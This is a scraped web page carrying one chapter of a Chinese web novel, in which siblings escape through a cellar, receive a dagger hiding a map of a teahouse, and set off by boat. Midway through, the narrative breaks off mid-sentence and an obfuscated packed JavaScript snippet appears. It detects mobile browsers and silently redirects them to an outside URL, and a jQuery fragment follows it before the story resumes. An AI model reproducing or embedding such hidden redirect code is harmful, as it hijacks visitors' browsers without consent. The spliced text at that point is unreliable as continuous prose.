文趣网 > 其他小说 > 祠堂外的第四盏灯 > 11. 第11章
    药庐外的幽绿灯火越来越近。

    风穿过荒草,带来甲靴踏碎枯枝的声音。顾长舟将药箱背到肩上,先吹灭屋里的灯,随后掀开床板下的一块木板。

    “下面有地窖,能通到药圃外的盐沟。”他说,“先下去。”

    沈见微第一个钻进洞口,顾栖灯紧随其后。临下去前,她回头看了一眼。

    顾长舟还站在门边,没有动。

    “二哥?”

    “我断后。”

    “你一个人挡不住巡灯司。”

    “我不挡。”顾长舟从药箱里取出两只瓷瓶,晃了晃,“让他们以为这里闹了瘟病就够了。”

    顾栖灯皱眉:“这是什么?”

    “烟药,不伤人,会让人高热咳嗽。”

    “药方我看。”

    顾长舟动作一顿。

    这种时候,顾栖灯还记得这句话,未免有些不合时宜。可他看着她认真伸出的手,竟有点想笑。

    “黄蒿、艾草、辛夷,再加一点迷烟草。”他低声报出药名,“没有尸毒,也没有赤砂。”

    顾栖灯听完,才让开洞口。

    “那快点。”

    顾长舟应了一声。

    三人顺着狭窄地窖往前爬。地底潮湿,泥土沾满衣袖,顶上不时传来闷响,像有人已经进了药庐。

    沈见微爬在最前,忍不住小声问:“二哥,你怎么知道这里有地窖?”

    “我小时候跟着师父来过。”

    “你还有师父?”

    “有。”

    “他人呢?”

    顾长舟沉默了一下。

    “死了。”

    沈见微立刻闭嘴。

    顾栖灯却问:“怎么死的?”

    顾长舟在黑暗里停了一瞬。

    “说是山洪。”他道,“可我后来在他留下的药册里,看见过‘照夜行’三个字。他当年在查巡灯司,也在查顾家的药。”

    顾栖灯心里微动。

    原来二哥不是忽然才开始怀疑。

    他只是把所有怀疑都藏在了药箱里,藏在一张张没人会去细看的药方后。

    “你为什么不告诉我?”她问。

    “因为我不知道该怎么告诉你。”顾长舟的声音很低,“我查到的东西太少,能确定的东西更少。我怕我说错一句,就把你推到他们眼前。”

    “可你不说,我也已经在他们眼前了。”

    “我知道。”

    这一次,顾长舟没有再替自己解释。

    地窖尽头是一道锈死的铁门。

    顾长舟摸出钥匙,刚要开锁,门外忽然响起一个很轻的敲击声。

    两短,一长。

    顾栖灯的呼吸一滞。

    那是她和沈见微约过的暗号。

    可沈见微就在她身边。

    顾长舟抬手示意她们退后,自己侧身贴到门边:“谁?”

    门外静了片刻。

    随后,一道熟悉的声音传进来。

    “开门。”

    顾栖灯瞬间听出来了。

    顾长川。

    铁门打开时,外头没有巡灯司的人,只有一条狭长的盐沟。沟壁被雨水冲得发白,顾长川站在阴影里,黑衣湿透了大半,肩侧还有一道新鲜的刀伤。

    他看见顾栖灯,先扫过她全身,确认她没有受伤,才将视线落在顾长舟身上。

    “人都在?”

    “都在。”顾长舟道,“你怎么找到这里的?”

    顾长川没答,只从袖中拿出那根细红线。

    顾栖灯怔了怔。

    “竹林里的线是你留的。”

    “嗯。”

    “药圃的路也是你引的?”

    “不是。”顾长川道,“我到时,线已经被人动过。”

    沈见微脸色一变:“有人借你的线骗我们?”

    “他们想让你们走北边。”顾长川看向顾栖灯,“北边埋了巡灯司的灯钉,进去就出不来。”

    顾栖灯忽然想起东坡那块石碑。

    住持指北,红线指东,真正的药圃却在东坡之下。

    她们走对了。

    但如果不是她停下来辨脚印、辨石碑,只循着顾长川留下的线走,也未必不会被人牵进圈套。

    “你为什么没进西霞寺?”她问。

    顾长川的眼神沉了一下。

    “我进不去。”

    “巡灯司拦你?”

    “不是。”

    他从怀里取出一截被火烧焦的僧衣布料,递给她。

    布料上沾着暗红血迹。

    顾栖灯心口一沉。

    “住持?”

    “人还活着。”顾长川道,“巡灯司没杀他,把他带走了。”

    “带去哪儿?”

    “听潮楼。”

    顾长舟抬起头。

    “你确定?”

    “我跟到了城外码头。他们的人分三路,其中一路押着西霞寺住持,往临江城回去。”顾长川看向顾栖灯,“他们不是搜山,是在收拢所有和守灯人有关的人。”

    顾栖灯握紧那块僧衣布。

    老和尚被带走,小沙弥生死不明,母亲留下的外账被人拿走,真相被切成碎片,所有人都在逼她后退。

    可越是这样,她越不想退。

    “听潮楼的交易提前了?”她问。

    “不是提前。”顾长川道,“后日子时,他们会把人都带到那里。”

    “‘人’包括谁?”

    顾长川没有马上回答。

    顾长舟替他说了:“包括被他们找到的守灯人后裔、身上有灯印的人、还有知道旧事的人。”

    沈见微忍不住骂了一句。

    “他们到底想做什么?”

    顾长川抬眸,声音冷下来。

    “挑一盏新的灯。”

    盐沟里一时无声。

    顾栖灯想起百灯河上那些漂浮的人影,想起母亲说的“人命养灯,再用灯养城”。

    所谓交易,不是买卖一件东西。

    是把活人摆上秤。

    “不能让他们办成。”她说。

    顾长川看着她,没有劝她回去。

    “我知道。”

    “我要去听潮楼。”

    “我知道。”

    “你不拦我?”

    顾长川停了停。

    “拦不住。”

    顾栖灯本想说他终于知道了,却见他从腰间解下一把短刀,连同刀鞘一起递到她面前。

    刀很旧,鞘上刻着一道极浅的水纹。

    “不是让你去拼命。”他说,“听潮楼里的人多,若真要进去,得先知道谁在等你。”

    “这是什么?”

    “苏晚留下的。”

    顾栖灯一怔。

    顾长川垂下眼,手指在刀鞘上停了片刻。

    “她失踪前,来找我那晚,把它放在我窗下。那时我不知道是什么意思。后来我在地宫水道里找到她另一只鞋,鞋底夹着一张纸,上头只写了四个字:‘灯下有人。’”

    “你一直带着它?”

    “嗯。”

    “为什么现在给我?”

    顾长川望着她。

    “因为你会看。”

    不是因为她需要保护,不是因为她比较听话,也不是因为他终于愿意施舍一部分真相。

    是因为他承认,她比他更能从那些被掩住的细节里找到答案。

    顾栖灯接过短刀。

    刀鞘内侧有一道极小的凹槽。她用指尖一按,夹层弹开,里面竟藏着一片薄如蝉翼的铜片。

    铜片上刻着听潮楼的结构图。

    一层是茶座与戏台,二层是包厢,三层却被特意圈出一处封闭房间,旁边标了一盏灯的形状。

    “这图你从哪来的?”顾长舟问。

    “苏晚的鞋底。”

    顾长川道:“她失踪前去过听潮楼。”

    顾栖灯盯着那盏小灯。

    “她不是被带去祠堂的。”

    “至少不只去过祠堂。”顾长

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968835|214618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    川说,“照夜行在临江有很多地方。祠堂是锁,西霞寺是旧档,听潮楼负责挑人、送人、收钱。”

    “顾家也参与?”

    “顾家有人参与。”顾长川纠正,“不等于所有人。”

    顾栖灯看了二哥一眼。

    顾长舟神色苍白,却没有躲。

    “长老、引灯人,还有顾家里替他们办事的人。”他说,“但我还没找到名单。”

    “那就去找。”顾栖灯将铜片收好。

    顾长川忽然道:“先不去听潮楼。”

    顾栖灯抬头。

    “今夜巡灯司在找你。你顶着这张脸进城,也进不了听潮楼。”他顿了顿,“我们先去一处地方,拿三盏灯的旧册。”

    “在哪里?”

    “顾家。”

    沈见微差点以为自己听错了。

    “你疯了?刚从顾家跑出来,又回去?”

    “不是回府。”顾长川道,“去顾家旧盐仓。”

    顾栖灯眸光微动。

    临江顾家靠盐业起家,旧盐仓早在十年前停用,离主宅很远,平日无人看守。顾长川既然把那里当作藏线索的地方,说明他早就做过准备。

    “旧册写什么?”她问。

    “写三盏灯原本该照什么。”顾长川说,“你母亲说得没错,三灯不该都照顾家的门。可要让它们各归其位,得先找到第一批守灯人的名字。”

    顾栖灯想起铜镜中那句话。

    大灯照留下的人,二灯照生病的人,三灯照离开的人。

    她看向面前的三位兄长留下的影子。

    顾承宴留在顾家,守着那座宅子和所有他认定该守的人。

    顾长舟守着药箱,在救人与伤人之间迟疑太久。

    顾长川一直在替别人找离开的路。

    这三个人似乎从一开始,就和三盏灯的归处牵在一起。

    “好。”顾栖灯说,“去旧盐仓。”

    顾长舟皱眉:“承宴在城里封了门,旧盐仓也未必安全。”

    “所以你跟我们一起。”顾栖灯看向他。

    “我?”

    “药册你看得懂,假药和真药你分得清。”她顿了顿,“这一次,不准只把答案留在你一个人的药箱里。”

    顾长舟一时无言。

    沈见微先笑了:“我就说,栖灯现在可不好糊弄。”

    顾长舟低头,半晌,轻轻应了一声。

    “好。”

    顾长川走到盐沟尽头,拨开一片芦苇。

    夜色下,一艘乌篷小船停在暗河边。船夫戴着斗笠,始终低着头,像是早已等候多时。

    顾栖灯没有立刻上船。

    她看向顾长川:“这也是你安排的?”

    “是。”

    “船夫可信?”

    “他欠我一条命。”

    “怎么欠的?”

    顾长川顿了顿。

    “以后告诉你。”

    顾栖灯挑眉。

    顾长川像是明白她在想什么,沉默片刻,补了一句:“不是不说。是三句话说不清。”

    “那就等安全了,说三十句。”

    顾长川看着她,眼底极淡地浮出一点笑意。

    “行。”

    小船离岸时,临江城的灯火在远处亮成一片。

    顾栖灯坐在船头,指腹摩过那把旧短刀,忽然发现刀鞘背面还有一行极浅的小字。

    不是苏晚留下的。

    字迹凌厉,是顾长川的。

    ——别替我等。

    她抬头看向船尾。

    顾长川背对着她撑船,肩上的伤口渗出血,顺着黑衣晕开一小片深色。他没有回头,也没有说自己伤得重不重。

    可顾栖灯忽然明白,七年前苏晚等过他。

    而他从那以后,最怕的就是有人再被留在原地。

    风从河面吹过。

    她将那把短刀按进袖中,望着越来越近的临江城,轻声道:

    “这一次,谁都不用等。”